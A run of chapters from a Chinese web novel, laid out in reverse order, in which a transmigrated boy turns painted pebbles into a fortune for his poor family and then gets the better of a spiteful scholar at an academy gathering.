吴子虚的脸色,却在此时变得有些难看了。 这小子,应对沉稳得可怕,每一句话都如同打在棉花上,让他精心准备的刁难,根本无从发力! 这让他有一种一拳打空,反倒差点闪了自己的腰的憋屈感。 但他不信邪!他不信一个八岁的孩子能有多深的城府和学问! 吴子虚冷哼一声,语气已带上了几分不耐与狠厉:“伶牙俐齿!” “学问之道,可非逞口舌之利便能成的!” “我出一上联,你若能对出下联,方算你有些真才实学!” 他目光阴沉,略一沉吟,便开口道:“听风堂,风声雨声读书声,声声入耳。” 此联乃是化用了广为人知的名联,又十分切合了眼下讲堂的情景,颇有几分意境。 一出口,满堂学子皆是眼前一亮,纷纷凝神思索。 这上联不算极难,但要对得工整,又要保留并升华其意境,却也绝非易事。 一时间,堂内安静下来,只余下众人轻微的呼吸声。 陈平川闻言,只是眨了眨眼。 几乎是在吴子虚话音落下的瞬间,他便朗声应道: “文山院,家事国事天下事,事事关心。” 第36章 小小书童也敢放肆?方先生:动我弟子试试! 方先生的眉头皱得更紧了。 他心中清楚得很,这吴子虚分明是黄鼠狼给鸡拜年,没安好心! 摆明了是想让自己当众出糗。 但当着满堂学子的面,若直接开口回绝,又未免显得自己心虚怯懦,平白落了下风,日后定会被吴子虚拿来当做笑柄。 方先生轻咳一声,强压下心中的不快,缓缓站起身,对着吴子虚拱了拱手,语气尽量平和地说道:“吴兄说笑了。小徒顽劣不堪,学业不精,怕是登不得大雅之堂,今日只带他来长长见识,若要考校,恐怕要贻笑大方了。” 吴子虚哪里肯轻易放过这个羞辱对手的机会。 他哈哈一笑,摆了摆手,说道:“方兄何必如此过谦?令高足既得方兄这等名师悉心指点,想来必有过人之处。” “我也并非有意为难他。便只考他几句《三字经》、《千字文》中寻常易懂的道理,想来以令高足的聪慧,定能对答如流,也让我等开开眼界,一睹名师高徒的风采嘛!” 吴子虚话音刚落,根本不等方先生说话,直接将目光转向了已经有些六神无主的张金宝,眼中闪过一丝不易察觉的讥诮。 “这位小友,老夫且问你,《三字经》有云:‘曰春夏,曰秋冬。此四时,运不穷。’此句除了阐明四季轮转之表象外,你且说说,其中还蕴含了何等天道人伦之至理啊?” 这个问题,出自蒙学经典《三字经》。 看似简单,实则却极为刁钻。 它考的不仅仅是背诵,更是对经义的理解,涉及到训诂与义理的阐发。 而这两样,恰恰是张金宝平日里最为头疼的东西。 他小脸憋得通红,张口结舌,额头上的汗珠都快要滴下来了。 “我……我……”了半天,也说不出一句完整的话来。 讲堂内顿时安静下来。 不少人的目光都带着几分看好戏的意味,在方先生、张金宝和吴子虚之间来回逡巡。 吴子虚见状,嘴角露出一丝得意的冷笑,眼中轻蔑之色更浓,正要开口出言讥讽几句。 就在这千钧一发之际,坐在张金宝身后的陈平川,身形微不可察地向前倾了倾。 他飞快地压低了声音,用一种只有张金宝才能听见的声音提示道:“天道循环,周而复始,如四季更迭,永不停歇,此乃自然之序。人当顺应天时,珍惜光阴,勤勉不辍,方能有所成就……” 张金宝正急得如同热锅上的蚂蚁,猛然听到这救命稻草般的声音,眼睛骤然一亮! 他连忙定下心神,将陈平川方才所言,磕磕绊绊地大声复述了出来:“是……是说……天道……天道它循环往复,周而复始!就像……就像春夏秋冬一样,不会停下来!这是……这是自然的规律!” “然后……然后人呢,人要顺应天时!对,珍惜光阴!还要……还要勤勉努力,不能懈怠!” 虽然他说得有些磕磕绊绊,颠三倒四,甚至有些词不达意。 但总算是将那核心的几层意思,勉勉强强地表达了出来。 吴子虚脸上的得意笑容,瞬间僵在了那里。 他有些难以置信地看着张金宝,没想到这平日里只知玩乐的纨绔子弟,竟能答出此等略含深意的解释。 他不死心,沉着脸,又追问了几个更为深奥,涉及典故训诂的难题。 “‘匏土革,木石金。丝与竹,乃八音。’你且说说,为何以匏土在先,金石丝竹在后?此八音之排列顺序,究竟有何讲究?” “‘犬守夜,鸡司晨。苟不学,曷为人。’此句除了劝勉世人勤奋向学之外,于君子立身处世之道,又有何等深刻的警示意义?” 每一个问题,都比前一个更加刁钻,更加考验学问的根基。 张金宝每次都是在急得抓耳挠腮,眼看着就要当众出糗之际。 他身后便会及时传来陈平川字字清晰的提示。 他便依样画葫芦,将听来的答案一一作答。 虽然他的回答依旧不甚流畅,但都答到点子上,周围听众纷纷点头表示认可。 吴子虚的脸色,由青转黑,再由黑转紫,最后变得铁青一片,当真是精彩纷呈。 他精心准备的一连串刁难,本以为能让方鹤鸣和张金宝颜面扫地,没想到竟被这平日里公认不学无术的张金宝,一一“化解”了! 吴子虚气得那两撇精心修饰的八字胡,都控制不住地抖动了起来。 这时,他眼角的余光,瞥见张金宝正悄悄地冲着身后坐着的一个小书童咧嘴偷笑。 那小书童也正微微抬头,两人眉来眼去,神情颇为得意。 吴子虚何等精明,他脑中灵光一闪,顿时就明白了过来! 原来如此! 吴子虚重重地冷哼一声,目光如刀子般转向方先生,似笑非笑地说道:“方兄,令高足今日的表现,当真是让吴某‘刮目相看’啊!” 他特意加重了“刮目相看”几个字的语气,充满了毫不掩饰的嘲讽。 “只是不知,这‘背后高人’的指点,是否也算是方兄您日常教学的一部分?” 吴子虚的声音陡然拔高,目光直射陈平川:“小小书童,也敢在文山书院的讲堂上窃窃私语,打扰诸位同道清听?成何体统!” 这厉喝声如同平地惊雷! 霎时间,满堂学子的目光“唰”地一下,全都聚焦到了陈平川身上。 那些目光里,有好奇,有惊讶。 但更多的是不屑与轻蔑。 一个小小的书童,竟敢在这样的场合发出声音? 简直不知天高地厚! 张金宝吓了一大跳,小脸瞬间没了血色。 他猛地回头,有些不知所措地看着陈平川,眼里满是慌乱:“大,大哥!” 方先生本就因吴子虚处处针对张金宝而心生不快。 此刻见他竟不顾身份,迁怒于一个年仅八岁的陈平川,心中那股压抑的怒火再也按捺不住。 他一直很欣赏陈平川那远超同龄人的聪慧与好学。 此时此刻,他更是要将这孩子护在羽翼之下,周全到底! “霍”地一下,方先生猛然站起身来。 他脸色铁青,声音沉凝如冰:“吴兄此言差矣!” “陈平川虽为书童,然其勤奋好学,常向老夫请教学问,也算老夫的记名弟子!” “他心中或许对金宝有所担忧,情急之下发出一两声关切之语,何错之有?” “吴兄何必如此咄咄逼人,迁怒孺子!” 第35章 废柴少爷秒变学霸?背后高人竟是他! 次日清晨,天色刚刚泛起鱼肚白。 张府的马车已经备好,车轮在晨曦中滚动,发出“吱呀吱呀”的声响。 车厢内,方先生闭目养神。 张金宝则显得有些兴奋,毕竟是去庐州府最大的文山书院,那是读书人心中的圣地。 陈平川坐在角落,神情平静,他悄然掀开车帘一角,目光向外探去。 这是他来到这个世界后,第一次如此真切地接近这个时代的“文化论坛”。 文山书院,坐落于庐州府城东的一片清幽之地。 青砖黛瓦砌成的院墙,透着古朴与庄重。 院门前,几株参天古槐枝繁叶茂,浓密的绿荫洒下一片清凉。 偶有微风拂过,仿佛能闻到空气中飘散着的淡淡墨香,沁人心脾。 尚未入院,已能感受到那股浓厚的书卷气息。 马车缓缓驶近,只见书院门口人影绰绰。 来往的多是身着青衫的学子,他们三五成群,一边缓行一边高谈阔论。 亦有形单影只者,手捧书卷,步履匆匆,眉宇间带着思索。 这些,便是大业朝的读书人么? 陈平川暗暗观察着,将这些人的言谈举止,神情姿态,一一收入眼中。 张金宝则完全是另一番景象。 他几乎是扒在车窗上,小脑袋探出探进,一双眼睛瞪得溜圆,看什么都觉得新奇无比。 “平川哥,你看那个人,胡子都拖到地上了!” “哇!那个人的帽子好奇怪啊,圆圆的,像口锅!” 他咋咋呼呼,充满了孩童的好奇。 方先生终于忍不住,重重地咳嗽了一声。 张金宝脖子一缩,赶忙缩回脑袋,讪讪地在座位上坐好,不敢再乱动。 马车在书院一处不起眼的侧门停了下来。 早有书院的杂役在此等候。 方先生率先下车,而后领着张金宝和陈平川,穿过一道月洞门,进入了书院的内部。 此次学子交流会的讲堂,设在书院最大的一间明伦堂。 此刻,堂内早已是人声鼎沸,座无虚席。 一眼望去,乌压压一片,皆是青衫儒士。 浓郁的墨香混合着讲堂内燃着的淡淡檀香,扑面而来,让人精神为之一振。 方先生显然是这里的常客,一进门,便有不少相熟之人主动与他拱手寒暄。 “鹤鸣兄,许久未见,风采依旧啊!”一位须发花白,精神矍铄的老者笑着迎了上来,热情地招呼。 “云来兄过誉了,惭愧,惭愧。”方先生也连忙拱手回礼,脸上带着惯有的矜持。 寒暄数句后,方先生在那老者的指引下,带着张金宝在讲堂靠前的位置落座。 陈平川则恪守书童的本分,安静地在张金宝身后寻了个小杌子坐下。 他悄然抬眼,环顾四周。 满堂的读书人,神情各异。 有的面带期待,目光炯炯,显然对今日的交流会抱有极大期望。 有的则神色凝重,眉头微锁,似乎在思索着什么高深的学问。 不多时,一位留着山羊胡,面容清瘦的院监走上了讲台。 他清了清嗓子,声音洪亮地宣布:“诸位同道,今日文山书院学子交流会,正式开始!” 话音落下,堂内短暂的喧哗之后,迅速安静下来。 随后,几位年轻的学子相继登台。 他们或引经据典,阐述自己对某段经义的独到见解。 或畅谈读书感悟,分享治学心得。 气氛倒也渐渐热烈起来。 陈平川听得津津有味。 虽然其中一些观点,在他这个拥有后世灵魂的人听来,未免显得有些迂腐,甚至可笑。 但古人那种对待学问一丝不苟的认真劲头,以及对圣贤经典的虔诚,却让他心中不禁生出几分敬意。 古人并不愚蠢。 很多时候,只是受限于时代背景和科技水平的局限性,才使得后人觉得他们某些想法“笨拙”。 若易地而处,古人的智慧,绝不逊于现代人分毫。 相较于陈平川的专注,张金宝则显得有些百无聊赖。 他毕竟年纪小,对这些枯燥的学问之谈实在提不起多少兴趣。 小动作便多了起来,一会儿抠抠手指,一会儿偷偷看看窗外掠过的飞鸟。 就在此时,讲堂一侧,一位身着暗紫色绸缎衣衫的中年文士,缓缓站起身来。 此人约莫四十上下的年纪,面容消瘦,下巴尖细,唇上留着两撇精心打理过的八字胡,一双细长的眼睛不大,却时不时闪烁着几分精明与难以掩饰的倨傲之色。 他一开口,声音略显尖细,原本尚有些许私语的讲堂,竟在他开口后,安静了不少。 “方才几位贤弟所言,虽亦有可取之处,然则细究起来,却也稍显浅陋,未曾真正窥得圣贤大道之精髓啊。” 这说话的人,是庐州府有名的秀才吴子虚。 堂中气氛顿时微微一滞。 不少人脸上都露出了诧异之色。 陈平川敏锐地注意到,身前不远处的方先生,那原本舒展的眉头,几不可见地轻轻蹙了一下。 只听那中年文士继续说道,目光若有若无地扫过方先生所在的方向:“今日盛会,名士云集,十分难得,不知鹤鸣兄今日,是否也带了高足前来观摩?” 吴子虚与方先生早年曾是同窗,一同在文山书院求学。 只是二人学术观点向来相左,话不投机。 加上吴子虚此人,性情刻薄,心胸狭隘,尤喜卖弄学问,方先生十分不喜,两人的关系也变得越来越差。 此刻,吴子虚的嘴角噙着一丝冷笑,声音也拔高了几分,确保在场大部分人都能听见:“方兄,令高足如今学问进益如何?可否让我等同道,也考校一二?” “也好让我等见识见识,方兄的教导之功,究竟到了何等境界啊?” 他这话一出,周围数道目光,齐刷刷地汇聚到了方先生和张金宝的身上。 张金宝一听要当众考校自己,那张原本还算红润的小脸,“唰”地一下就白了。 他最怕的,就是在这么多人面前被人提问,尤其是那些他根本不懂的学问。 一双小胖手紧张地攥成了拳头,额头上甚至开始渗出细密的汗珠,显然是慌了神。 第34章 这书童太逆天!方先生被秀麻了! 书房内,檀香袅袅。 一丝若有若无的清雅香气,弥漫在空气之中。 方先生端坐于太师椅上,面前摊着几本书。 他抬起眼,看向垂手侍立在一旁的陈平川。 面色无波,看不出喜怒。 “平川。” 方先生的声音响起,带着一丝考究的意味。 “前些日子,你向老夫借阅的那几本蒙学之书,看得如何了?” 他指的,是几册《幼学琼林》的选段,还有一本薄薄的《千家诗》。 这些,可不是《三字经》那般粗浅的启蒙读物了。 陈平川闻言,立刻躬身一礼。 声音清脆,不卑不亢:“回先生话,学生都看完了。” 他微微顿了顿,组织语言,补充道:“书里的故事和道理,学生觉得很有趣。” “比起《三字经》,确实要稍微难上那么一点点。” “不过,平川也能看懂个大概。” “哦?” 方先生的眉头,几不可见地轻轻一挑。 这小子,口气倒是不小! 那几本书,寻常孩童囫囵吞枣般看上一遍,已算是不易。 更遑论什么“看懂”? 他心中微动,面上却依旧保持着那份师长的平静。 随手,他翻开了一页《幼学琼林》。 “既如此,老夫便考校考校你。” 方先生的目光落在书页上,悠悠开口:“‘刻鹄类鹜,为学初成;画虎类犬,弄巧成拙。’你且说说,此句何解?” 陈平川略一思索,便朗声答道:“先生,学生以为,这句话是说,我们学习的时候,要脚踏实地。” “比如想画天鹅,就算画得不像,起码还能像只鸭子,也算有所收获。” “可如果一开始就想画老虎,结果画成了狗,那就是眼高手低,反而弄巧成拙了。” “就像金宝少爷,若是一开始就让他学那些高深的文章,他肯定头疼,反而不爱学了。不如先从简单的学起,慢慢来,总能进步。” 方先生听着,那捻着胡须的手,微微一顿。 这解释,虽说辞藻不甚华丽雅驯,甚至有些过于直白。 但,话糙理不糙! 确实是抓住了这句话的核心意思,还联系到了张金宝身上。 这小子,有点意思。 方先生不动声色,心中却是一动。 他继续发问:“那‘蒲柳之姿,未秋先槁;姜桂之性,愈老愈辛’,又是何意?讲的是什么道理?” 陈平川不假思索,继续道:“先生,这句是说,蒲柳这种树木,材质比较柔弱,还没到秋天呢,就先枯萎了。” “而生姜、肉桂这些东西,它们的特性是越老越辛辣,味道越浓厚。” “这句话是告诉我们,有的人年轻时可能看着不错,但底子不行,很快就不行了。” “而有的人,可能一开始不显眼,但他们有内涵,有韧劲,越到后面越能显出本事。” “就像金宝少爷,以前可能贪玩了些,但只要肯下功夫,就像那姜桂,以后定能成大器!” 方先生听着陈平川的对答,心中的惊讶,真如那潮水一般,一层叠着一层! 他方才随口点出的几处,皆是《幼学琼林》中相对生僻,且蕴含深意的典故。 莫说是让一个初学的八岁孩童死记硬背下来。 便是要让他们理解其中的深刻含义,也绝非一日之功! 可眼前的陈平川,不仅对答如流,解释得浅显易懂,竟还能如此自然地举一反三,联系到张金宝的学业上! 这哪里是什么“稍微难一点点,也能看懂个大概”? 这分明是已经烂熟于心,并且通晓了其中精髓奥义啊! 想他方某人当年苦读这些典籍,哪一本不是耗费了数月乃至更久的功夫,逐字逐句地揣摩,反复品味,才敢说有所心得? 而陈平川呢? 不过是借阅了区区数日而已! 方先生看着眼前这个身形尚且瘦小的书童,眼神中,充满了复杂难明的情绪。 有对其天赋异禀的由衷惊叹! 有对自己先前某些判断的一丝微妙动摇! 但更多的,却是一种老怀安慰般的欣喜! 他或许,真的没有看错人! 这块璞玉,比他想象中还要光彩夺目! 方先生强行压下心中的波澜壮阔,沉吟了片刻。 他的目光,落在了陈平川那双清澈明亮,充满了对知识渴望的眼睛上。 “平川。”他缓缓开口。 “先生?”陈平川恭敬应道。 方先生的语气中,带上了一丝郑重:“你想不想……跟着老夫,去见识见识,真正的读书人盛会?” 陈平川闻言,那双眼睛骤然一亮! 像是黑夜中,被瞬间点燃的两颗璀璨星辰! “先生!”他的声音都带上了一丝激动,“什么是读书人盛会?是不是有很多很多有大学问的人?” 方先生见他这般渴望,脸上不由自主地露出了一抹淡淡的笑意。 孺子可教也! “不错!庐州府最大的文山书院,明日要举办一场学子交流会。” “届时,庐州府以及周边州县的不少秀才、童生,都会前去切磋学问,交流心得。” “若是运气好的话,或许还能聆听到几位成名宿儒的点评指教。” 他微微顿了顿,目光带着期许,继续说道:“老夫明日,会带金宝少爷一同前往。” “你既如此好学,天资也算不凡,老夫便破例一次,也带上你。” “让你去开开眼界,长长见识,对你日后,或许有些裨益。” “只是……”方先生语气一转,变得严肃起来,郑重叮嘱道: “你此番前去,身份依旧是金宝少爷的书童。” “只能在旁安静听讲,万万不可随意插言,扰乱了会场的秩序。” “更不可给老夫和少爷丢脸,你可明白?” 陈平川激动得几乎要当场跳起来! 他强行按捺住内心的狂喜,深深地一揖及地,声音都带着掩饰不住的兴奋: “多谢先生垂爱!” “平川一定谨记先生教诲,乖乖听话,绝不给先生和少爷惹上半分麻烦!” 太好了! 这可是了解这个时代科举制度信息的绝佳机会啊! 自己正愁如何更进一步呢! 方先生看着他那雀跃不已,却又努力克制着自己情绪的模样,嘴角那抹原本浅淡的笑意,不由得更深了一些。 这孩子,对于求知问道,竟怀有如此纯粹而炽烈的热情。 当真是难能可贵。 或许,他的将来,真的远不止一个小小的书童那么简单。 方先生摆了摆手,示意他可以退下了。 “嗯,去吧。” “明日一早,随少爷一同过来便是。” 陈平川再次深深一揖,这才满心欢喜地退了出去。 第33章 这农家汉,祖坟冒青烟了! 陈仲和被他们围在中间,豆大的汗珠子顺着脸颊往下淌。 他连连摆手,哀求道:“真没了!各位爷,真的一块都没了!” “这石头……是我那娃儿画的,下回……下回什么时候能画出来,画不画得出来,我……我也不知道啊!” 他看着众人那一张张写满了焦急和失望的脸,心里也有些过意不去,毕竟人家都是带着诚意来的,只能一个劲儿地作揖:“实在是对不住各位爷了,真是没了,让各位白跑一趟,小的给各位赔罪了。” 那些家丁仆役们,一个个捶胸顿足,唉声叹气,虽然万分不甘,但也无可奈何。 毕竟,人家都说没了,你还能怎么办? 于是,他们只能带着满肚子的遗憾,怏怏不乐地散去了。 周遭围观了这整个过程的百姓们,此刻一个个像是刚从梦里醒过来。 从最初的冷嘲热讽,到中间的目瞪口呆,再到此刻的惊叹连连、羡慕嫉妒恨,那表情变幻得,比戏台上的变脸还要精彩! 谁能想到啊! 谁敢想啊! 这河边随处可见的破鹅卵石,随便画上几笔,就能卖出这等让人眼珠子发红的天价! 这农家汉,怕不是祖坟要冒青烟了! 顶着众目睽睽,陈仲和哪里还敢在这“是非之地”多待片刻! 那沉甸甸的的银子揣在怀里,简直像是揣了一块烧红的烙铁,烫得他心尖儿都在发颤! 他这辈子都没见过这么多钱! 若是被哪个不开眼的歹人给惦记上,那可是要家破人亡的! 匆匆收拾好那块破旧的包袱布,陈仲和便一头扎进人群,往家的方向狂奔而去。 一路风驰电掣,脚下生风,终于,那熟悉又破败的院门出现在眼前! 他连气都顾不上喘匀,一把推开吱呀作响的院门,箭一般地冲了进去! 堂屋里,罗氏正坐在床边,仔仔细细地给女儿梳理着有些干枯发黄的头发,听到这急促的脚步声和粗重的喘息声,不由得抬头望去,便见自家男人的满头大汗,跟被人追杀了一样闯了进来。 “他爹,你这是……”罗氏话还没问完,就被眼前的一幕惊呆了。 陈仲和一句话也不说,踉跄着几步抢到床前,从怀里掏出那个沉甸甸、鼓囊囊的钱袋! “哗啦——”一声脆响! 一堆大小不一、晃眼雪白的碎银,如同九天银河倾泻而下,一股脑儿全倒在了那张铺着破旧被褥的床板上! 刺目的银光,晃得罗氏娘儿俩都下意识地眯起了眼! “孩子他娘!你……你看!”陈仲和指着那堆闪闪发光的银子,声音抖得不成样子,几乎要破音,“这……这是平川!让我拿去卖那些神仙石头!赚回来的!” 罗氏彻底傻了! 她死死地盯着那堆在破旧床板上的银子,张了张嘴,却发现自己一个字都说不出来,她觉得自己可能在做梦。 陈仲和像是倒豆子一般,断断续续地,将集市上发生的那一幕幕惊心动魄的场景,竹筒倒豆子般讲给妻子听。 听着听着,罗氏的眼圈就红了。 那不争气的泪水,如同断了线的珠子,不受控制地汹涌而出。 她伸出手,颤巍巍地,轻轻摸了摸那冰凉坚硬的银子,触感是如此真实! 终于,她再也忍不住,猛地一把抱住身旁的丈夫和女儿,放声大哭起来,那哭声里,有委屈,有辛酸,但更多的是压抑不住的狂喜和扬眉吐气的痛快! “呜呜……老天爷开眼了啊……我们平川……我苦命的平川……有出息了啊……呜呜呜……” 哭了不知道多久,罗氏那激动到几乎要炸开的情绪,才渐渐平复下来。 她胡乱抹了一把脸上的泪水,眼神逐渐变得异常清明。 “他爹!”罗氏猛地一把抓住丈夫那双粗糙黝黑的大手,声音不大,却字字铿锵,带着决绝,“这钱!这可是咱平川用脑子换回来的钱!” “咱们可不能再像以前那样,当那任人宰割的冤大头!傻乎乎地,一文不剩,全交到那群狼心狗肺的白眼狼手里去了!” 陈仲和盯着这笔对他而言,简直如同天文数字般的巨款,再想到家中那些永远喂不饱的贪婪亲戚,尤其是老太爷和陈老太太尖酸刻薄、寡恩薄情的嘴脸…… 媳妇说得对! 这钱,是他儿子陈平川用神仙般的智慧换来的! 这是他一家三口的活命钱! “嗯!”陈仲和重重地点了下头,“他娘!你说得对!这钱,我要牢牢地攥在咱们自己手里!” “我要给你买最贵的补品!把你这身子骨,养得壮壮的!” “我要给咱们平玉买新鞋子!买花衣裳!让她也像别家闺女一样,漂漂亮亮,不再受人白眼!” “还有咱们平川,我要给他赎身!让他堂堂正正地,从那张家大院里走出来!不再当那低人一等的奴才!” 与此同时,百里之外的庐州府城,钱府内。 钱家小祖宗钱岳,此刻正抱着那几块画着孙悟空、猪八戒的石头画,乐得在象牙床上,来回打滚,嘴巴咧得能塞进一个大鹅蛋,晶莹的口水顺着嘴角都流了出来,浑然不觉。 他宝贝似的,用小胖手擦了擦石头上的口水,立刻从床上一跃而下,连鞋都顾不上穿好,就抱着这几块“会说话的神仙石头”,一阵风似的冲出自己的院子,要去向他的那些狐朋狗友们,好好地炫耀一番! 很快,日头还没到正午。 庐州府内的刘府、孙府,以及其他几家叫得上名号的富贵府邸,再次因为孩童惊天动地的哭闹声,而变得鸡飞狗跳,人仰马翻! 那些没能第一时间得到“神仙石头”的小少爷、小小姐们,在亲眼看到钱岳手中那几块栩栩如生的石头画后,更是羡慕得眼珠子都红了,嫉妒得发狂! 一个个哭闹得比之前还要凶猛百倍!简直要把自家房顶都给掀了! 他们的父母,被这群小祖宗们吵得头昏脑涨,几欲抓狂,只能再次放出话来,无论花费多大代价,也一定要找到这种能够让自家小祖宗破涕为笑的神奇石头! 而引发这一场闹剧的罪魁祸首陈平川,此刻正被方先生叫到了书房之中。 第32章 奸商被打脸,奇石遭疯抢! 陈仲和捧着那沉甸甸的银子,手指都在剧烈地颤抖。 冰凉的触感! 坠手的重量! 无一不在告诉他,这不是梦! 真的是三十六两!白花花的纹银! 他做梦都没想到! 儿子让他来卖的这些“破石头”,不仅真的卖出去了! 还卖了这么一大笔他连想都不敢想的巨款! 一股难以言喻的激动与酸楚,直冲天灵盖! 泪水,瞬间模糊了他的双眼! 平川……我的儿啊…… 爹果然没有信错你! 他胡乱用那满是补丁的袖子抹了把脸,手忙脚乱地想把银子妥帖收好。 然而,他刚把银子揣进怀里,还没焐热乎。 人群外,突然又传来一阵更加激烈的喧哗! “快!快抓住他!” “别让他跑了!” 只见好几名穿着不同衣服家丁、仆役,一个个凶神恶煞,如狼似虎地冲了过来! 不由分说,几只粗壮的大手便死死扣住了陈仲和的胳膊! 其中一个看似领头的人,指着惊慌失措的陈仲和,对其他人急切地大喊: “就是他!钱府那个叫来福的说了,卖石头的就是这个老汉!” 这突如其来的惊天变故,让刚刚还沉浸在巨大喜悦中的陈仲和,一下子如坠冰窟,遍体生寒! 先前那个吃了大瘪的干瘦商人,见此情景,又如同打了鸡血一般兴奋起来! 他从人群里“噌”地一下跳了出来,指着陈仲和,唾沫横飞地煽风点火: “对对对!我就说嘛!他就是个骗子!” 他的声音尖利刺耳,充满了幸灾乐祸: “哪有破石头能卖一两银子一个的?这简直是天方夜谭!滑天下之大稽!” “各位!快把他抓到衙门去!严加审问!必定是个江湖骗子!” 陈仲和彻底慌了神! 手脚冰凉,嘴唇哆嗦着,连一句完整的话都说不出来,只能拼命地摇头,想要辩解: “我……我没骗人……我真的没有……” 结果,那些人哪里是来抓人的? 分明是来抢东西的! “抓什么人?” “老子是来抢石头的!”一个管事模样的汉子吼道,眼睛瞪得像铜铃。 “我家少爷快把房顶都掀了!就要你那石头!”又一个家丁打扮的挤上前来,满头大汗。 “对对对,老哥,你那石头还有没有?我全包了!” “放屁!不能全卖给他,我也要!” “还有我!还有我!” 这电光火石间的惊天逆转,把周围伸长脖子看热闹的人,再一次震得外焦里嫩,集体失声! 这……这是什么情况? 难道这就是传说中的……人傻钱多?! 那贼眉鼠眼的干瘦商人,此刻也呆若木鸡,他犹不死心,指着陈仲和,尖着嗓子嚷嚷:“各位!各位爷!你们千万别被这老家伙骗了!” 他像只护食的野狗,拦在几个急红了眼的家丁面前,唾沫横飞地苦劝:“他这破石头,可是一两银子一个!狮子大开口啊!你们听听,这不是明摆着坑人是什么?” 一个管事模样的中年人,闻言眉头一拧,像赶苍蝇似的,不耐烦地挥开他:“滚滚滚!” “我家老爷早就吩咐了,只要是这种画着神仙小猴儿的石头,有多少要多少!就算是金山银山也得给少爷弄回去!” “你算个什么腌臜东西,也敢在这儿挡道饶舌!” 另一个穿着短打的仆役,更是二话不说,直接扒拉开他,吼道:“一两银子还贵?” “我们刘府老爷说了,少爷要是再哭下去,耳朵都要聋了!这种宝贝石头,就是五两银子一个,也值得!” “什……什么?” “五……五两?!” 干瘦商人踉跄后退,浑身筛糠似的抖,他感觉自己好像错过了一个亿!不,是无数个亿! 刚才!就刚才! 如果他咬咬牙,哪怕多出点血,把陈仲和那些石头全包圆了,转手……转手就能翻天啊! 他眼前一黑,差点当场厥过去! 周围的看客们,此刻已经不是炸开锅了,简直是火山喷发! “我的老天爷啊!五两银子一个?这石头……这石头难不成是龙王爷的卵石,被神仙画了符?” “疯了!全他娘的疯了!” “我这辈子没白活!真没白活!竟然能亲眼看到石头卖出天价来!” 这时有人指着那瘫软如泥的干瘦商人,大声嚷嚷道:“我说呢!难怪这家伙刚才鬼鬼祟祟,非要用二两银子就想把所有石头都买下来!” “原来他早就知道这些石头是宝贝疙瘩,想捡天大的便宜,低买高卖,发昧心财啊!” “就他那二两银子,还想买这么多神仙宝贝?这算盘珠子,打得比猴儿屁股都精!” “呸!就你这尖嘴猴腮、贼眉鼠眼的穷酸样,还想学人家做大买卖?也不撒泡尿照照自己是什么德行!” 嘲讽声、怒骂声、鄙夷的目光,如同冰雹般,劈头盖脸地砸向那干瘦商人。 他哪里还敢多放一个屁,连滚带爬,袍袖死死掩住脸,在一片震耳欲聋的哄笑和唾骂声中,狼狈不堪地挤出人群,如同丧家之犬,灰溜溜地逃了。 赶跑了这只讨厌的苍蝇,几个管事家丁又像饿狼扑食般,团团围住了陈仲和。 “老哥!老哥!石头呢?快拿出来吧!再晚点,我们府上的屋顶真要被小祖宗给掀了!” “对对对!我们府上也急等着救命呢!” 陈仲和看着这群如狼似虎的汉子,一张脸涨得通红,两只手都不知道往哪儿放,他嘴唇哆嗦着,嗫嚅道:“石…石头…都……都没了……” “没了?!” 几个管事几乎是同时拔高了嗓门,那声音尖得能刺破人的耳膜,失望之情如同乌云压顶,瞬间笼罩在他们脸上。 “怎么会没了?难道……难道都被钱府抢先一步买走了?!” “老哥,你老实说,是不是还有存货藏?快拿出来,价钱绝对好说!保管让你满意!” “您老下次什么时候还来摆摊?您给个准信,我们提前三天就来这儿搭棚子等您!” “或者您老给个府上住址,我们亲自上门去取也成啊!绝不敢叨扰太久!” 更有心急的,已经开始从怀里往外掏银子了:“老哥!老哥!这是十两定金!您看够不够?您下次的石头,务必给我们府上留几块!哪怕留一块也行啊!” 第31章 只有冤大头,才买这破石头! 陈仲和感觉自己像是被人当众剥光了衣裳,扔在街心,任人指点评说,羞愤难当。 他无措地绞着自己那件打满补丁的破旧衣角,恨不得地上立刻裂开一道缝隙,好让他一头钻进去,再也不要见人。 实在是太丢人了! 他这辈子都没这么丢人过! 好几次他都想立刻收起摊子,不顾一切地逃离这个让他无地自容的是非之地。 可是,一想到儿子平川那双黑亮亮的,充满信任和鼓励的眼眸…… 他硬生生把那股想要落荒而逃的冲动,给压了下去! 今天,他陈仲和,就豁出这张老脸不要了! 就在人群的喧闹与嘲笑声中,一个穿着油光水滑的绫罗绸衫,留着两撇尖细鼠须的干瘦商人,从看热闹的人群中挤到了摊位前。 他没有理会周围的哄笑,径直蹲下身,拿起几块石头画,眯着眼睛,翻来覆去地仔细看了半晌,眼中闪过一丝精光。 他放下石头,抬起头,脸上堆起看似和善的笑容,对陈仲和说道:“这位老哥,你这石头画得倒也别致新奇,确实是坊间少见的玩意儿。只是,这一两银子一个,实在是太贵了,莫说旁人,便是我这走南闯北见过些世面的,也觉得有些离谱,定然是没人会买的。” 他顿了顿,瞥了一眼周围依旧在指指点点、看热闹不嫌事大的人群,压低了声音,道:“这样吧,我看你也是个老实本分的人,挣点辛苦钱不容易。你这些石头我全都要了。” 他伸出两根干瘦的手指,在陈仲和眼前晃了晃:“我给你……二两银子,怎么样?” “二两银子!这可不是小数目!够你一家老小舒舒服服地过上大半年了!” 二两银子! 对他而言,这已经是一笔巨款! 有了这两银子,他就可以给病重的妻子买补品,可以给小女儿平玉买一双新的绣花鞋,剩下的银钱还能买些白米细面,让一家人吃上几顿饱饭…… 他的心,在胸腔里剧烈地跳动起来,如同擂鼓一般。 卖,还是不卖? 理智告诉他,这已经是天上掉下来的馅饼了!这样的好机会,错过就再也没有了! 可就在他几乎要点头答应的那一刻,儿子那稚嫩坚定的话语,在他耳边清晰地回响起来—— “爹,您就信我这一回。” “我的这些石头,就值这个价!” 陈仲和那颗几乎要失守的心,猛地一定。 他深吸一口气,缓缓抬起头,对上那干瘦商人的眼睛,干裂的嘴唇吐出了几个字眼:“不……不卖!” “少一个子儿,都不卖!” 那干瘦商人脸上的笑容瞬间僵住,随即化为恼怒。 他“哼”了一声,将手中的石头往包袱布上一丢,甚至还往地上啐了一口浓痰:“呸!不识抬举的穷骨头!” 他直起身子,故意扬高了声音,对着周围看热闹的人群,嚷道:“诸位都瞧见了啊!不是我不照顾他生意!” “这老汉可是铁了心要卖他那一两银子一个的破石头!” “我倒要看看,今天究竟是哪个冤大头,会花这天价,来买他的烂石头!” 周围的人群闻言,又是一阵更加响亮的哄笑。 他们看向陈仲和的目光里,除了嘲讽,更多了几分看傻子、看好戏的意味。 